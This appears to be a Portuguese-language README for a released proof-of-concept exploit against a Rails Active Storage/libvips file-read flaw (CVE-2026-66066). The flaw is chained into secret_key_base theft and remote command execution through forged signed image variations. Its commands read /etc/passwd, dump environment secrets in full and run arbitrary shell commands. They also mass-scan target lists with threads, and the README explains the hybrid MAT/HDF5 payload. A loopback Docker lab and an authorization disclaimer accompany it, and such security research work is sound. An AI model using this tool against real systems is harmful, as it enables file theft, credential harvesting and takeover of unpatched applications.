
PoC de arquivo único para Rails CVE-2026-66066: leitura arbitrária de arquivos, recuperação de segredos, varredura com threads e RCE condicional por meio de variações de imagem assinadas.
Uma prova de conceito de arquivo único, sem dependências, e um laboratório Docker somente em loopback para a vulnerabilidade de leitura arbitrária de arquivos do Active Storage/libvips do Rails. Ela também demonstra a escalada condicional descrita no advisory, a partir de um secret_key_base recuperado, até uma variação de imagem forjada e execução de comandos.
Referências principais: Advisory do Rails, Análise forense do Rails, o artigo técnico da Ethiack e o lançamento 8.1.3.1.
https://github.com/user-attachments/assets/fdcb5651-c1d1-4bc4-b322-8f1205b09635
kr2s.py contém o cliente completo em um único arquivo:
h5py ou numpy;A ferramenta não instala pacotes, não inicia um listener de callback, não exige curl no alvo e não depende de make. O estágio de RCE usa a rota de representação integrada do Active Storage e não requer um gadget Marshal.
Inicie o laboratório vulnerável:
cd lab
RAILS_VERSION=8.1.3 docker compose up --build
A porta do Compose está vinculada a 127.0.0.1 e o contêiner roda como um usuário sem privilégios, com todas as capabilities Linux removidas.
Em outro terminal:
# Intrusive: uploads a blob, then confirms /etc/hostname is readable.
python3 kr2s.py check http://127.0.0.1:3000
# Recover a fixed-size prefix. Binary output goes to stdout unless -o is used.
python3 kr2s.py read http://127.0.0.1:3000 /etc/passwd --size 4096
python3 kr2s.py read http://127.0.0.1:3000 /etc/passwd -o passwd.bin
# Recover selected environment secrets. Values are redacted by default.
python3 kr2s.py secrets http://127.0.0.1:3000
# Display complete matched environment values for authorized analysis.
python3 kr2s.py secrets http://127.0.0.1:3000 --show-full
# Passive preflight of one target or a file containing one target per line.
python3 kr2s.py scan http://127.0.0.1:3000
python3 kr2s.py scan targets.txt --threads 10 --json scan.json
# Intrusively confirm file read on every target in the list.
python3 kr2s.py scan targets.txt --active
# Probe selected libvips loaders.
python3 kr2s.py probe http://127.0.0.1:3000
# Conditional escalation. This executes the supplied command.
python3 kr2s.py rce http://127.0.0.1:3000 "id; uname -a"
Execute python3 kr2s.py COMMAND --help para ver todas as opções. Controles comuns em aplicações reais incluem --harvest-url, --show-path, --proxy, --insecure e --skb.
secrets --show-full imprime os valores completos das variáveis de ambiente correspondentes. Sem essa opção, a ferramenta imprime apenas os primeiros 12 caracteres e uma reticência. Arquivos solicitados com --also-read, incluindo os caminhos padrão de credenciais do Rails, são impressos em até 600 caracteres quando legíveis.
A varredura passiva scan apenas informa se a página expõe uma representação Active Storage coletável; ela não consegue identificar o nível de patch do Rails instalado. scan --active envia um blob malicioso e tenta a leitura canário. Um resultado ativo com falha é rotulado como BLOCKED_OR_INCONCLUSIVE, não SAFE, porque WAFs, autenticação, variações não suportadas e a correção do Rails podem parecer idênticos de fora da aplicação.
Pare o laboratório com:
cd lab
docker compose down
image/png.matload do libvips; os bytes do arquivo-alvo se tornam pixels da imagem e são retornados em um PNG gerado.O arquivo híbrido satisfaz dois parsers ao mesmo tempo: seu texto começa com MATLAB 5.0, enquanto a palavra de versão no offset 124 seleciona o caminho MATLAB 7.3 baseado em HDF5. A correção do Rails bloqueia operações do libvips marcadas como não confiáveis antes que um arquivo controlado pelo atacante possa chegar a matload.
rce primeiro lê SECRET_KEY_BASE de /proc/self/environ, a menos que --skb seja fornecido. Ele deriva a chave do verificador do Active Storage e assina uma variação JSON contendo uma operação instance_eval. No caminho vips afetado, a operação chega a Vips::Image.public_send. O PoC a envia pela rota de representação integrada, executa o comando fornecido via /bin/sh e captura os dois fluxos de saída.
Este segundo estágio é condicional à recuperação do segredo de assinatura e ao alcance do comportamento vulnerável de transformação do vips descrito na análise da Ethiack sobre CVE-2025-24293. O patch do CVE-2026-66066 fecha o ponto de entrada da leitura de arquivos; ele não é uma correção geral para segredos de assinatura vazados anteriormente. Rotacione os segredos após suspeita de exposição, conforme recomenda o advisory do Rails.
A saída do comando é gravada em um arquivo aleatório /tmp/.kr2s_*, recuperada através da mesma primitiva de leitura de arquivos e então removida com um segundo payload assinado.
As leituras retornam a região de tamanho fixo solicitada. Se a origem for mais curta, seu prefixo é seguido por bytes zero. Use --offset para regiões subsequentes.
A variação padrão do laboratório apenas converte para PNG, então a recuperação é byte a byte exata. Aplicações reais podem redimensionar variantes. O modo de chave coletada usa uma coluna de um pixel para evitar reamostragem horizontal, mas uma variação com altura menor ainda pode alterar a geometria. Nesse caso, o cliente falha explicitamente; reduza --size ou colete uma representação que não redimensione.
Cada comando é intrusivo: ele cria blobs persistentes do Active Storage e pode criar variantes processadas. rce adicionalmente executa o comando fornecido.
O script da matriz compila cada versão, executa verificações reais de leitura e RCE nas versões vulneráveis, confirma que as leituras são bloqueadas nas versões corrigidas e retorna um código diferente de zero em qualquer incompatibilidade:
./lab/matrix.sh
./lab/matrix.sh 8.1.3
./lab/matrix.sh 8.1.3.1:PATCHED
Validado em 2026-07-31 com Ruby 3.4.10, image_processing 1.14.0, ruby-vips 2.3.0 e libvips 8.16.1:
As linhas corrigidas deliberadamente não disparam um payload de RCE com um segredo de assinatura pré-fornecido; a matriz testa o limite de leitura de arquivos do CVE.
research/craft.py regenera payloads candidatos para pesquisa de loaders e exige h5py e numpy. Ele não é importado pelo PoC de lançamento. lab/probe/probe.sh inspeciona esses candidatos com ruby-vips dentro de uma imagem de laboratório:
uv run --script research/craft.py all -o /tmp/kr2s-payloads
docker run --rm \
-v "$PWD/lab/probe:/probe:ro" \
-v /tmp/kr2s-payloads:/payloads:ro \
--entrypoint /probe/probe.sh kr2s-rails:8.1.3
Execute os testes unitários sem dependências com:
python3 -m unittest discover -s tests -v
O payload MAT/HDF5 e o cliente sem dependências foram desenvolvidos por meio de testes locais. Depois que PoCs públicos apareceram, esta versão incorporou a coleta de chave de variação e as rotas integradas do Active Storage documentadas pelo PoC do Zer0SumGam3. A implementação em Python aqui é original e usa apenas a biblioteca padrão.
Uma revisão anterior demonstrou que o RCE também era possível com um payload Marshal assinado usando Puma::MiniSSL::Context e um proxy do ActiveSupport, com base na pesquisa pública de gadgets de Behrad Taher. Essa rota evitava binários auxiliares no lado do alvo, mas exigia um sink de ID assinado compatível com Marshal, além das classes de gadget Puma e ActiveSupport carregadas. Ela foi substituída depois que o Ethiack Research Team publicou seu artigo técnico sobre KindaRails2Shell, que documenta a técnica mais simples de variação JSON assinada. Ela usa uma rota padrão e remove essas pré-condições.
Os créditos pela descoberta pertencem a André Baptista (0xacb), Bruno Mendes (s3np41k1r1t0), Rafael Castilho e ao Ethiack Research Team, e a RyotaK (GMO Flatt Security). Abdelmounaim Moulahcene (bl0rph) publicou de forma independente a primitiva subjacente pouco antes da divulgação coordenada. Veja o repositório forense do Rails para a cronologia completa e os créditos dos mantenedores.
Use apenas em sistemas que você possui ou para os quais tem autorização explícita para testar. Os autores não aceitam nenhuma responsabilidade por uso indevido. Consulte SECURITY.md para relatar problemas neste artefato de pesquisa.
Lançado sob a Licença MIT.
| Rails | Leitura de arquivo | Verificação de RCE | Resultado |
|---|
| 7.2.3.1 | READ-OK | RCE-OK | aprovado |
| 7.2.3.2 | bloqueado | não executado | aprovado |
| 8.0.5 | READ-OK | RCE-OK | aprovado |
| 8.0.5.1 | bloqueado | não executado | aprovado |
| 8.1.3 | READ-OK | RCE-OK | aprovado |
| 8.1.3.1 | bloqueado | não executado | aprovado |